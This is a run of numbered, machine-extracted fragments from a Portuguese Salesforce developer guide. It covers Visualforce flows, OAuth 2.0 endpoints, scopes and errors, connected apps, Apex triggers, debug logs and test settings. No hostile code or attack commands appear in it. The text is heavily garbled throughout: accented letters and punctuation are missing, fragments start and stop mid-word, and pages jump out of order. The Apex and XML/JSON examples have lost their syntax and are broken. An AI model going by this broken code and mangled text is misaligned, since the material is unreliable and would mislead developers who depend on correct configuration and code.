216. ar aplicativo lt apex page gt Para ativar desativar ou 4 Defina o atributo name como nome exclusivo do fluxo Por exemplo excluir um fluxo ou para editar as propriedades do fluxo e Gerenciar fluxo do Force com lt apex page gt lt flow interview name MyUniqueFlowName gt lt apex page gt Nota Seo fluxo de um pacote gerenciado 0 atributo nome deve ter este formato namespace flowuniquename 5 Restrinja os usu rios que podem executar o fluxo configurando a seguran a da pagina do Visualforce que o cont m Para executar o fluxo usu rios externos como os de uma comunidade precisam de acesso p gina do Visualforce Para executar o fluxo usu rios externos precisam de acesso p gina do Visualforce e de um dos seguintes e A permiss o Executar fluxos e Ocampo Usu rio do Force com Flow ativado na p gina de detalhes do usu rio 6 Especifique o que acontece quando um usu rio clica em Concluir em uma tela do fluxo configurando o comportamento de conclus o de fluxo CONSULTE TAMB M Seguran a de p gina do Visualforce Guia do desenvolvedor do Visualforce Renderizando fluxos com o Visualforce Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 85 Exemplos de redirecionamento de usu rios de fluxo de uma p gina do Visualforce Depois que voc incorporar um fluxo em uma p gina do Visualforce redirecione os usu rios para EDICOES outra te
217. ar o tipo de campo e escolha URL do s control personalizado para obter o campo de mesclagem para ele Para um miniaplicativo Java tamb m poss vel utilizar os campos de mesclagem SControl_JavaCodebase e SControl JavaArchive e Para inserir campos de mesclagem de atividade selecione Evento ou Tarefa na lista suspensa Selecionar tipo de campo O Salesforce codifica automaticamente o texto de qualquer campo de mesclagem que voc inserir em um link CONSULTE TAMB M Definindo custom s controls Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Como as p ginas do Visualforce se comparam aos s controls Visualforce 131 O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados As p ginas do Visualforce s o consideradas a pr xima gera o dos s controls e devem ser usadas no lugar destes sempre que poss vel tanto pelo melhor desempenho quanto pela facilidade de uso com a qual elas podem ser escritas A tabela a seguir define as diferen as entre as p ginas do Visualforce e os s controls Habilidades t cnicas necess rias Estilo de linguagem Modelo de substitui o de p gina Biblioteca de componentes padr o do Salesforce Acesso ao comportamento da plataforma incorporada Data binding liga o de dados Heran a d
218. ar os dados do Salesforce em seu nome o cliente redireciona o navegador do usu rio para o ponto final de autoriza o com os seguintes par metros tipo de resposta O valor deve ser c digo para este fluxo client id chave do consumidor a partir da defini o do aplicativo conectado scope O par metro scope permite ajustar o que o aplicativo cliente pode acessar em uma organiza o do Salesforce Consulte Valores do par metro do escopo na p gina 226 para obter par metros v lidos uri de redire o URI para o qual redirecionar o usu rio ap s a aprova o Isso deve corresponder exatamente ao valor docampo URL de retorno na defini o do aplicativo conectado do contr rio a aprova o falha Esse valor deve ser codificado por URL estado Qualquer estado que o consumidor queira refletido de volta ap s a aprova o durante o callback Esse par metro opcional Esse valor deve ser codificado por URL imediato Determina se o usu rio deve fazer login e ser aprovado Esse par metro opcional O valor dever ser verdadeiro ou falso se especificado O valor padr o falso Observe o seguinte Se definido como verdadeiro e o usu rio estiver conectado no momento e tiver aprovado anteriormente o ID do cliente o Salesforce ignorar a etapa de aprova o Sedefinido como verdadeiro eo usu rio n o estiver conectado ou n o tiver aprovado anteriormente o cliente o Salesforce ser encerrado imediatamen
219. ara cada usu rio Se um usu rio tentar conceder acesso a um aplicativo acima do limite da organiza o o token de acesso desse aplicativo h mais tempo sem uso ser revogado Os aplicativos mais recentes usando o protocolo OAuth 2 0 que usam o fluxo de servidor da Web s o aprovados automaticamente para dispositivos adicionais depois que o acesso ao usu rio concedido uma vez O fluxo de agentes do usu rio requer a aprova o do usu rio todas as vezes Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 198 Pontos finais OAuth 2 0 Os tr s pontos finais principais usados com o OAuth 2 0 s o e Autorizagao https login salesforce com services oauth2 authorize e Chave https login salesforce com services oauth2 token e Revogar https login salesforce com services oauth2 revoke Consulte Revogando tokens OAuth na p gina 227 para obter detalhes sobre a revoga o de acesso Para o sandbox use test salesforce com emvezde login salesforce com Fluxo de autentica o OAuth 1 0 A As descri es de etapa individual est o a seguir O OAuth 1 0 A possui um nico fluxo de EDI ES autentica o 1 O consumidor solicita uma ChaveDeSolicita o O Salesforce verifica a solicita o e retorna uma Dispon vel em Salesforce chave de solicita o Classic e Lightning o E i 2 O consumidor deve redirecionar o usu rio ao Salesforce para que ele fa a login du 3 O Sales
220. arl1 50 var2 Hello World Numero da linha Lista de vari vel do formul rio Numero da vari vel Valor Por exemplo varl1 50 var2 Hello World ome do modo ome do modo enhum usuario mero da linha n mero de linhas e dura o em mero da linha e origem da consulta mero da linha n mero de linhas e dura o em mero do quadro e lista vari vel do formul rio N mero da vari vel Valor Porexemplo mero dalinhaeastring lt init gt comostipos de par metros se houver entre os par nteses mero dalinhaeastring lt init gt comostipos de par metros se houver entre os par nteses mero da linha e assinatura do m todo mero da linha e assinatura do m todo mero de emails enviados mero da linha n vel de log e string fornecida pelo Categoria registrada BD Perfil do Apex C digo do Apex Perfil do Apex Sistema Sistema Sistema Sistema Sistema Sistema Perfil do Apex Perfil do Apex C digo do Apex Guia do usu rio Registros de depura o 284 N vel registrado INFORMA ES e acima INFOR A ES e acima INFOR A ES e acima CORRETO e acima MAIS EXATO e acima CORRETO e acima CORRETO e acima CORRETO e acima CORRETO e acima CORRETO e INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima CORRETO e acima DEPURAR e ac
221. as as edi es exceto Personal Edition PERMISS ES DO USU RIO Para criar modelos de grupo de links de a o e Personalizar aplicativo Para criar modelos de link de a o e Personalizar aplicativo do desenvolvedor sem espa os S o permitidos apenas letras 5 Selecionea Categoria que indica onde exibir os grupos de links de a o instanciados em elementos de feed Prim rio exibe os grupos de links de a o no corpo dos elementos de feed Sobrecarga exibe os grupos de links de a o no menu de sobrecarga dos elementos de feed Se um modelo de grupo de links de a o Prim rio ele pode conter at tr s modelos de link de a o Se um modelo de grupo de links de a o Sobrecarga ele pode conter at quatro modelos de link de a o 6 Selecione o n mero de Execu es permitidas que indica quantas vezes podem ser executados os grupos de links de a o instanciados a partir desse modelo Links de a o em um grupo s o mutuamente exclusivos Se for escolhido Ilimitado os links de a o no grupo n o poder o ser dos tipos Api ou ApiAsync 7 Opcional Insira Horas at a expira o que o n mero de horas desde a cria o do grupo de links de a o at sua remo o dos elementos de feed associados quando n o poder mais ser executado O valor m ximo 8760 Consulte Defini o do hor rio de expira o do grupo de links de a o 8 Clique em Salvar 9 Clique em
222. assic Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com Os pacotes gerenciados n o est o dispon veis em Database com PERMISS ES DO USU RIO Para definir editar excluir definir a seguran a definir as configura es da vers o mostrar depend ncias e executar testes de classes do Apex e Apex do autor acionador Essa vers o o pacote gerenciado continuar a ser usada pela classe ou pelo acionador se forem instaladas vers es posteriores do pacote gerenciado a menos que voc atualize manualmente a configura o da vers o Para adicionar um pacote gerenciado instalado a lista de configura es selecione um pacote na lista de pacotes dispon veis A lista s ser exibida se voc tiver um pacote gerenciado instalado que ainda n o esteja associado classe ou ao acionador 3 Clique em Salvar Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 59 Observe o seguinte ao trabalhar com as configura es da vers o do pacote e Se voc salvar uma classe ou acionador do Apex que fa a refer ncia a um pacote gerenciado sem especificar uma vers o do pacote gerenciado esse acionador ou classe do Apex estar associado ltima vers o instalada do pacote gerenciado como padr o e Voc n o poder Remover a configura o da vers o da classe ou do acionador para um pacote gerenciado se ele for mencionado na cla
223. ativo conectado n o est instalado na organiza o ou n o tem permiss es personalizadas associadas a resposta n o cont m um mapa custom permissions Veja a seguir um exemplo de solicita o http login salesforce com services oauth2 authorize response type tokensgclient id 3MVG91KcPoNINVBKV6EgGVJiF snSDwh6 2wSS7BrOhHGEJkC amp redirect uri http www example org qa security oauth useragent flow callback jsp amp scope api 20id 20custom permissions Veja a seguir o bloco de JSON na resposta do URL de identidade custom permissions Email View true Email Create false Email Delete false A seguir h uma resposta no formato XML lt xml version 1 0 encoding UTF 8 gt lt user xmlns xsi http www w3 org 2001 XMLSchema instance gt lt id gt http nal salesforce com id 00Dx0000001T0zk 005x0000001S2b9 lt id gt lt asserted user gt true lt asserted user gt lt user id gt 005x0000001S2b9 lt user id gt lt organization id gt 00Dx0000001T0zk lt organization id gt lt nick name gt adminl 2777578168398293E12foofoofoofoo lt nick name gt lt display name gt Alan Van lt display name gt lt email gt admin 2060747062579699 com lt email gt lt status gt lt created date xsi nil true gt lt body xsi nil true gt lt status gt lt photos gt lt picture gt http nal salesforce com profilephoto 005 F lt picture gt lt thumbnail gt http nal salesforce com profilepho
224. aveDeSolicita o URL de callback Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados Um URL associado ao aplicativo do seu cliente Em alguns contextos deve ser um URL real para o qual o navegador da Web do cliente redirecionado Em outros contextos o URL n o usado No entanto o valor deve ser o mesmo entre o aplicativo do cliente e o servidor a defini o do aplicativo conectado Por exemplo voc pode usar um valor que identifique o aplicativo como http MyCompany Myapp Consumidor Um site ou aplicativo que usa OAuth para autenticar o usu rio do Salesforce e tamb m o aplicativo em nome do usu rio Chave do consumidor Um valor usado pelo consumidor para se identificar ao Salesforce Chamado de client id em OAuth 2 0 Segredo do consumidor Um segredo usado pelo consumidor para estabelecer a propriedade da chave do consumidor Chamado de client secret em OAuth 2 0 Nonce Um n mero frequentemente um n mero aleat rio usado durante a autentica o para garantir que as solicita es n o possam ser usadas novamente Chave de atualiza o Usado apenas no OAuth 2 0 Uma chave usada pelo consumidor para obter uma nova chave de acesso sem precisar que o usu rio aprove o acesso novamente Chave de solicita o Um valor usado pelo consumidor para obter autoriza o do usu rio e trocado por uma chave de acesso Chaves de solicita o s s o usadas no OAuth 1 0
225. ba todos os outros escopos full n o retorna um token de atualiza o Voc deve solicitar explicitamente o escopo refresh token para obter uma chave de atualiza o Fa a solicita es em seu nome a qualquer momento refresh token offline access Permite que um token de atualiza o seja retornado caso seja eleg vel para receber um Isso permite a intera o do aplicativo com os dados do usu rio enquanto o usu rio est offline O escopo refresh token sin nimode offline access Forne a acesso aos aplicativos personalizados visualforce Permite acesso s p ginas do Visualforce Forne a acesso aos dados via Internet web Permite a capacidade deusaro access token naWeb Tamb mincluio visualforce que permite o acesso as p ginas do Visualforce Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 168 Se sua organiza o selecionou a op o Nenhuma aprova o do usu rio necess ria para usu rios nesta organiza o em seu acesso remoto antes da vers o Spring 12 os usu rios da mesma organiza o em que o aplicativo foi criado ainda t m aprova o autom tica para o aplicativo A caixa de sele o de somente leitura Nenhuma aprova o do usu rio necess ria para usu rios nesta organiza o selecionada para mostrar essa condi o Para aplicativos conectados o procedimento recomendado depois de criar um aplicativo os administradores o instalarem e em seguida
226. bertura de c digo da sua organiza o na p gina Execu o de teste do Apex clique em Op es selecione Armazenar apenas cobertura de c digo agregada e em seguida clique em OK Use essa op o apenas quando haja muitos testes e um grande volume de c digo do Apex ou seja quando o n mero de m todos de teste do Apex multiplicado pelo n mero de todas as classes e acionadores estiver na faixa de centenas de milhares Essa op o faz com que os resultados da cobertura de c digo sejam armazenados de forma agregada para todos os m todos de teste Como resultado n o poss vel exibir resultados de cobertura de c digo para um m todo de teste individual inclusive o realce azul e vermelho que mostra a cobertura de c digo linha por linha no console do Developer Para mais informa es sobre a execu o de testes consulte Criar uma execu o de teste na ajuda online e Running Unit Test Methods no Force com Apex Code Developer s Guide Aprimorar o Salesforce com c digo Guia do usu rio Execu o de teste do Apex 294 Op o Teste de sequ ncia com numera o autom tica independente Para evitar lacunas nos campos de numera o autom tica nos registros da organiza o causadas por registros de teste criados em testes do Apex clique em Op es selecione Sequ ncia com numera o autom tica independente e em seguida clique em OK Essa op o isola a sequ ncia de numera o autom tica usada em testes do Apex da
227. bject line enter the IF statement if unsubMe true try Look up all contacts with a matching email address for Contact c SELECT Id Name Email HasOptedOutOfEmail FROM Contact WHERE Email env fromAddress AND hasOptedOutOfEmail false LIMIT 100 Add all the matching contacts into the list c hasOptedOutOfEmail true lc add c Update all of the contact records update lc catch System QueryException e System debug Contact Query Issue e try Look up all leads matching the email address for Lead 1 SELECT Id Name Email HasOptedOutOfEmail FROM Lead WHERE Email env fromAddress AND isConverted false AND hasOptedOutOfEmail false LIMIT 100 Add all the leads to the list 1 hasOptedOutOfEmail true ll add 1 Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex isTest Visualforce 112 System debug Lead Object 1 Update all lead records in the query update 11 catch System QueryException e System debug Lead Query Issue e System debug Found the unsubscribe word in the subject line else System debug No Unsuscribe word found in the subject line Return True and exit True confirms program is complete and no emails should be sent to the sender of the uns
228. bre o c digo do Apex e pode incluir informa es como mensagens de registro geradas por declara es DML consultas SOQL ou SOSL inline in cio e conclus o de qualquer acionador e in cio e conclus o de qualquer m todo de teste e assim por diante Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 276 Categoria do log Descri o Apex Profiling Perfildo Apex Inclui informa es de perfil acumulativas como os limites para o seu namespace o n mero de emails enviados e etc Visualforce nclui informa es sobre compromissos do Visualforce incluindo serializa o e desserializa o do estado de exibi o ou a avalia o de um campo de f rmula em uma p gina do Visualforce Sistema nclui informa es sobre chamadas para todos os m todos do sistema como o m todo System debug N veis de registro de depura o Cada n vel de depura o inclui um dos n veis de registro a seguir para cada categoria de registro Os n veis s o listados do mais baixo para o mais alto Eventos espec ficos s o registrados com base na combina o de categoria e n veis A maioria dos eventos come a a ser registrada no n vel de INFORMA ES O n vel acumulativo ou seja se voc selecionar CORRETO o registro incluir tamb m todos os eventos registrados nos n veis DEPURAR INFORMA ES AVISO e ERRO m A I D E M O N Nota Nem todos os n veis est o dispon veis
229. brir editar e criar arquivos de c digo fonte Procurar pacotes na sua organiza o Navegue nos conte dos dos pacotes criados na sua organiza o Exibir e editar acionadores e classes do Apex Abra e edite acionadores e classes do Apex e uma exibi o somente leitura das suas defini es de objeto personalizadas Exibir e editar componentes do Lightning Abrir e editar recursos do Lightning como aplicativos componentes eventos ou interfaces Exibir e editar p ginas e componentes do Visualforce Abra e edite as p ginas e os componentes do Visualforce Usar o editor de c digo fonte Abra um conjunto de trabalho de arquivos de c digo e alterne entre eles com um nico clique O editor de c digo fonte do Console do desenvolvedor inclui um recurso de preenchimento autom tico para o c digo do Apex Teste e valida o do desempenho O Console do desenvolvedor possui v rios recursos dedicados a testar o c digo e analisar o desempenho Testar c digo do Apex Use o Console do desenvolvedor para verificar a cobertura do c digo e executar os testes do Apex incluindo testes de unidade testes funcionais testes de regress o e assim por diante Para facilitar o desenvolvimento de c digo robusto e livre de erros o Apex suporta a cria o e execu o de testes de unidade Testes de unidade s o m todos de classe que verificam se uma determinada parte do c digo est funcionando corretamente Os m todos de teste da unidade n o lev
230. bug Depurar gt View Log Panels Exibir pain is de registro e selecione os pain is que deseja incluir na perspectiva Para obter uma lista de pain is dispon veis consulte Pain is de log Se uma perspectiva for modificada um ser anexado ao nome dela at que ela seja salva Dica Se uma perspectiva que inclua o painel Execution Log Registro de execu o for criada talvez voc queira incluir o painel Source Origem Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 268 3 Parasalvar suas altera es clique em Save Perspective Salvar perspectiva Para criar uma perspectiva clique em Save Perspective As Salvar perspectiva como e insira um novo nome CONSULTE TAMB M Inspetor de registro Gerenciando perspectivas no inspetor de registro Gerenciando perspectivas no inspetor de registro Uma perspectiva um layout predefinido de pain is no Console do desenvolvedor Inspetor de registros Ao realizar uma tarefa no Inspetor de registro verifique se escolheu a perspectiva certa para o trabalho Para gerenciar suas perspectivas clique em Debug Depurar gt Perspective Manager Gerenciador de perspectiva e Para alternar para uma perspectiva diferente clique duas vezes no nome da perspectiva ou selecione e clique em Open Abrir e Para alterar a perspectiva padr o selecione o nome da perspectiva e clique em Set Default Definir padr o e Para excluir uma perspec
231. c digo de autoriza o inv lido verifique se o cliente envia uma declara o com codifica o do URL e assertion type concess o inv lida lP restrito ou horas de login inv lido usu rio inativo o usu rio est inativo org _inativa a organiza o est bloqueada fechada ou suspensa taxa limite excedida n mero de logins excedidos e uri do erro Un link para o Validador de asser o de SAML que cont m mais informa es sobre a falha Isso s retornado quando o Salesforce consegue analisar a asser o A seguir est um exemplo de erro error uri https nal salesforce com setup secur SAMLValidationPage apexp error invalid grant error description invalid assertion Aprimorar o Salesforce com c digo CONSULTE TAMB M Autenticando aplicativos com o OAuth Valores de par metros do escopo O par metro scope permite ajustar o que o aplicativo cliente pode acessar em uma organiza o do Salesforce Os valores de scope v lidos s o Valor api chatter api custom permissions full id openid refresh token visualforce web Descri o Permite o acesso conta do usu rio atual conectado usando APIs como a API REST e a API em massa Esse valor tamb m incluia chatter api que permite o acesso aos recursos da API REST do Chatter Permite acesso somente aos recursos da API REST do Chatter Permite o acesso s permiss es personalizadas em uma organiza o a
232. c digo do Apex e Visualforce e Oque s o servi os de email e Vis o geral dos r tulos personalizados Aprimorar o Salesforce com c digo Usando o editor para Visualforce ou Apex Durante a edi o no Visualforce ou no Apex no rodap do modo de desenvolvimento do Visualforce ou da Configura o um editor est dispon vel com a seguinte funcionalidade Destaque da sintaxe O editor aplica automaticamente o destaque da sintaxe para palavras chave e todas as fun es e operadores Pesquisar 2 A pesquisa permite procurar texto dentro da p gina classe ou acionador atual Para usar a pesquisa insira uma string na caixa de texto Pesquisar e clique em Localizar pr ximo e Para substituir uma string de pesquisa localizada por outra string insira a nova string na caixa de textoSubstituir e clique em substituir para substituir apenas essa ocorr ncia ou Substituir tudo para substituir todas as ocorr ncias da string de pesquisa na p gina na classe ou no acionador e Para que a opera o de pesquisa diferencie mai sculas de min sculas selecione a op o Diferenciar mai sculas de min sculas e Para usar uma express o regular como string de pesquisa selecione a op o Express es regulares As express es regulares seguem as regras de express es regulares do JavaScript Uma pesquisa que usa express es regulares pode localizar strings que ultrapassem mais uma linha Se voc usar a opera o de substitui o com
233. ca o Essa localiza o tamb m aparecer no menu do alternador de aplicativo URL do in cio m vel usada para direcionar os usu rios a um local espec fico quando o aplicativo acessado a partir de um dispositivo m vel Guia do usu rio Integra o de aplicativos com o Salesforce 180 Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 181 e As configura es de aplicativo m vel est o dispon veis para aplicativos conectados m veis que imp em a prote o por PIN Exigir PIN depois especifica quanto tempo pode passar com o aplicativo inativo antes de o aplicativo bloquear a si mesmo e exigir o PIN antes de continuar Os valores permitidos s o nenhum sem bloqueio 1 5 10 e 30 minutos Essa pol tica s imposta se um Comprimento de PIN correspondente for configurado A imposi o da pol tica de responsabilidade do aplicativo conectado Aplicativos escritos usando o SDK do Salesforce Mobile podem impor essa pol tica ou o aplicativo pode ler a pol tica no servi o Userinfo e aplic la Nota Essa configura o n o invalida uma sess o de usu rio Quando uma sess o expira por inatividade essa pol tica requer apenas que o usu rio insira um PIN para continuar usando a sess o atual Tamanho do Pin define o comprimento do n mero de identifica o enviado para uma confirma o de autentica o O comprimento pode ser de 4 a
234. ca que pode ser usada para EDICOES consultar sem necessidade de sess o informa es sobre a configura o do ponto final de descoberta OpenID Connect do Salesforce O Salesforce retorna informa es b sicas sobre pontos Dispon vel em Salesforce finais escopos permitidos e outros valores usados para a autoriza o do OpenlD Connect Classic O formato do URL https login salesforce com well known openid configuration Dispon vel em todas as edi es Nota Para o sandbox login salesforce com substitu do por test salesforce com O URL deve ser sempre HTTPS Resposta do ponto final de descoberta OpenID Connect Essa solicita o de URL retorna as informa es somente no formato JSON A seguir h uma resposta no formato JSON issuer https login salesforce com authorization endpoint https login salesforce com services ocauth2 authorize token endpoint https login salesforce com services oauth2 token Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 239 revocation endpoint https login salesforce com services oauth2 revoke userinfo_endpoint https login salesforce com services oauth2 userinfo jwks uri https login salesforce com id keys scopes supported id api web full chatter api visualforce refresh token openid profile email address phone offline access custom
235. cam se apenas aos m todos de classes do Apex como servi o da Web ou a qualquer m todo Dispon vel em Salesforce usado em um controlador ou uma extens o de controlador personalizados do Visualforce aplicados Classic e Lightning em p ginas do Visualforce Os acionadores sempre s o ativados em eventos de acionador como Experience insert ou update independentemente das permiss es do usu rio Dispon vel em Edi es Nota Se voc tiver instalado um pacote gerenciado em sua organiza o poder definir a Performance Unlimited seguran a somente para as classes Apex desse pacote declaradas como global ou para Developer Enterprise e as classes que contenham m todos declarados como webService Database com Se um usu rio tiver a permiss o Autor Apex ele poder acessar todas as classes do Apex na organiza o associada independentemente da configura o de seguran a de classes individuais A permiss o de uma classe do Apex verificada somente no n vel superior Por exemplo se a classe A chamar a classe B e um perfil de usu rio tiver acesso somente classe A e n o classe B o usu rio ainda poder executar o c digo na classe A Da mesma forma se uma p gina do Visualforce usar um componente personalizado com um controlador associado a seguran a ser verificada apenas para o controlador associado p gina O controlador associado ao componente personalizado executado independentemente das permiss
236. campo ou uma classe alterada que chama essa classe o indicador V lido ser definido como falso Quando a chamada de um acionador ou servi o da Web chama a classe o c digo recompilado e o usu rio notificado se houver erros Se n o houver nenhum erro o indicador V lido ser redefinido como verdadeiro CONSULTE TAMB M Gerenciar classes do Apex Exibir classes do Apex Gerenciando configura es de vers o para o Apex Aprimorar o Salesforce com c digo Definir acionadores do Apex Os acionadores do Apex s o armazenados como metadados no aplicativo sob o objeto com o qual est o associados Nota Voc s pode adicionar editar ou excluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy 0 Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce Nas configura es de gerenciamento de objeto para o objeto cujos acionadores voc deseja acessar acesse Acionadores Q Dica Para os objetos padr o Anexo Con
237. cation N o foi poss vel se conectar ao proxy do Salesforce Se o problema continuar entre em contato com o suporte do Salesforce Resolu o sugerida Como o limite di rio n o negoci vel n o h resolu o dispon vel Substitua o certificado por um tipo v lido Forne a um certificado v lido Renove o certificado Tente novamente mais tarde Substitua o certificado por um tipo v lido Procure erros na entrada Reduza o tamanho da carga Confirme se as configura es est o presentes no aplicativo conectado Forne a um token de dispositivo v lido O token foi inserido incorretamente ou est corrompido Insira o token novamente Confirme se o certificado correto est sendo usado por exemplo o de sandbox e n o o de produ o Tente novamente mais tarde Tente novamente mais tarde Tente novamente mais tarde Aprimorar o Salesforce com c digo Mensagem Solicita o bloqueada pelo proxy do Salesforce Se o problema continuar entre em contato com o suporte do Salesforce O servi o Apple Push Notification retornou um erro desconhecido O emblema deve ser um n mero A carga deve estar em um formato JSON v lido necess rio inserir um valor referente a pelo menos um dos campos a seguir Alerta Emblema Som ou Carga personalizada O destinat rio obrigat rio Erro de autentica o do Google Cloud Messaging Erro interno do servidor do Google Cloud Messaging ou o servidor
238. cativo na p gina de Atribui o do perfil do aplicativo Selecione os conjuntos de permiss es que ter o acesso ao aplicativo O Importante Esta op o n o ser exibida caso a pol tica OAuth para Usu rios autorizados esteja definida como Todos os usu rios podem conceder autoriza o a si mesmo porque esta op o n o necess ria quando os usu rios puderem conceder autoriza o a si mesmo Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 177 e Clique em Novo em Atributos SAML do provedor de servi os para criar novos pares de valor chave de atributo Tamb m poss vel editar ou excluir os atributos existentes Somente usu rios com pelo menos um dos perfis ou conjuntos de permiss es selecionados poder o executar o aplicativo se a op o Usu rios aprovados pelo administrador estiver selecionada para o valor Usu rios autorizados na p gina Editar do aplicativo conectado Se em vez disso voc selecionar Todos os usu rios os perfis e conjuntos de permiss es ser o ignorados CONSULTE TAMB M Provisionamento de usu rios para aplicativos conectados Gerenciar um aplicativo conectado PERMISS ES DO USU RIO EDI ES Para ler Personalizar aplicativo Dispon vel em Salesforce n Eedi ii i eee Classic e Lightning ara criar atualizar ou excluir ersonalizar aplicativo i P Experience Modificar todos os dados OU Gerenciar aplicativos conecta
239. ce 67 modo de desenvolvimento 70 perfis 97 recursos est ticos 80 seguran a 76 95 96 vari veis globais 20 vis o geral 67 Visualiza o do Inspetor de registros rvore de desempenho 260 informa es sobre perfil 262 pilha 260 rastreamento reverso 260 registro de execu o 261 se o de origem 262 se es 259 unidades executadas 262 Visualizador de aplicativo de tela vis o geral 132 WSDLs fazendo download 135
240. ce com c digo NewTask RequestUpdate SelfServSelect SendEmail SendGmail Sort Compartilhar Enviar para aprova o Guia do usu rio Componentes do Lightning Apex Criar uma tarefa Solicita uma atualiza o Registra um usu rio como usu rio do auto atendimento Envie o email Abre um email em branco no Gmail Classifica os produtos em um cat logo de pre os Compartilha um registro Envia um registro para aprova o Visualforce 46 e Compromisso e Campanha do Google e Palavra chave e Lead e Oportunidade e Frase de pesquisa e Vers o SFGA e Solu o e Tarefa e An ncio de texto e Objetos personalizados Tarefa e Contato e Atividade Solu o Atividade e Contato e Lead OpportunityLineltem e Conta e Grupo de an ncios e Campanha e Caso e Contato e Contrato e Campanha do Google e Palavra chave e Lead e Oportunidade e Frase de pesquisa e Vers o SFGA e An ncio de texto e Conta e Atividade Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 47 e Grupo de an ncios e Patrim nio e Campanha e Membro de campanha e Caso e Contato e Contrato e Compromisso e Campanha do Google e Palavra chave e Lead e Oportunidade e Produto da oportunidade e Produto e Frase de pesquisa e Vers o SFGA e Solu o e Tarefa e Anuncio de texto Tab Acessa a guia para um objeto Grup
241. ce em conformidade com as especifica es do OpenID Connect S retornadoseresponse type token id token como par metro de escopo openid e um par metro nonce chave de atualizac amp o Chave que pode ser usada no futuro para obter novas chaves de acesso sess es Este valor secreto Voc deve trat lo como a senha do usu rio e usar medidas apropriadas para proteg lo Nota A chave de atualiza o do fluxo de agentes do usu rio emitida apenas se voc tiver selecionado scope refresh_token euma das seguintes circunst ncias for verdadeira O URL de redirecionamento usa um protocolo personalizado AURLderedirecionamento exatamente https login salesforce com services oauth2 success ou em um sandbox https test salesforce com services oauth2 success instance url URL que indica a inst ncia da organiza o do usu rio Neste exemplo a inst ncia nal https nal salesforce com Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 223 e id URLde identidade que pode ser usado para identificar o usu rio e tamb m para consulta de mais informa es sobre o usu rio Veja os URLs de identidade na p gina 230 e sfdc community url se o usu rio membro de uma comunidade do Salesforce o URL dela fornecido e sfdc community id seo usu rio membro de uma comunidade do Salesforce o ID de comunidade do usu rio fornecido e signature
242. ceitar application x www form urlencoded O servidor Salesforce envia uma resposta Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente Os seguintes par metros est o no corpo da resposta e chave_de_acesso O ID de sess o do Salesforce que pode ser usado com a API de servi os da Web e token type Ovalor Portador para todas as respostas que incluem um token de acesso e instance url URL que indica a inst ncia da organiza o do usu rio Neste exemplo a inst ncia nal https nal salesforce com e id URL de identidade que pode ser usado para identificar o usu rio e tamb m para consulta de mais informa es sobre o usu rio Veja os URLs de identidade na p gina 230 e sfdc community url seo usu rio membro de uma comunidade do Salesforce o URL dela fornecido e sfdc community id seo usu rio membro de uma comunidade do Salesforce o ID de comunidade do usu rio fornecido e signature Assinatura HMAC SHA256 com codifica o Base64 assinada com a chave privada do consumidor contendo o ID concatenadoe issued at Isso pode ser usado para verificar se o URL de identidade n o foi modificado desde que foi enviado pelo servidor e emitido em Quando a assinatura foi criada A seguir est um exemplo de resposta JSON do Salesforce id https login salesforce com id 00Dx0000000BV7z 005x0000001209P issued at 1278448384422 instance url https nal salesf
243. cess rio solicita o inv lida deve usar HTTP POST credenciais do cliente inv lidas segredo do cliente inv lido concess o inv lida c digo de autoriza o inv lido concess o inv lida lP restrito ou horas de login inv lido invalid grant code verifier inv lido Indica que o valor de code verifier inv lido n o est em codifica o base64url etc ou n o era o verificador v lido parao code challenge dado invalid grant code verifier inesperado Indica que n o foi especificado code challenge e portanto n o se esperava um code verifier mas ele foi especificado incompatibilidade do uri de redirecionamento uri de redirecionamento n o fornecido redirect uri mismatch incompatibilidade do redirect_uri com a defini o do aplicativo conectado usu rio inativo o usu rio foi definido como inativo pelo administrador org inativa a organiza o est bloqueada fechada ou suspensa taxa limite excedida o n mero de tentativas de login foi excedido CONSULTE TAMB M Autenticando aplicativos com o OAuth Aprimorar o Salesforce com c digo Fluxo de senhas de nomes de usu rio OAuth 2 0 O fluxo de autentica o de senhas de nome de usu rio pode ser usado para autenticar quando o cliente j tiver as credenciais do usu rio 6 Cuidado Este fluxo de autentica o OAuth envolve passar as credenciais do usu rio para frente e para tr s Use esse fluxo de autentica o apenas quand
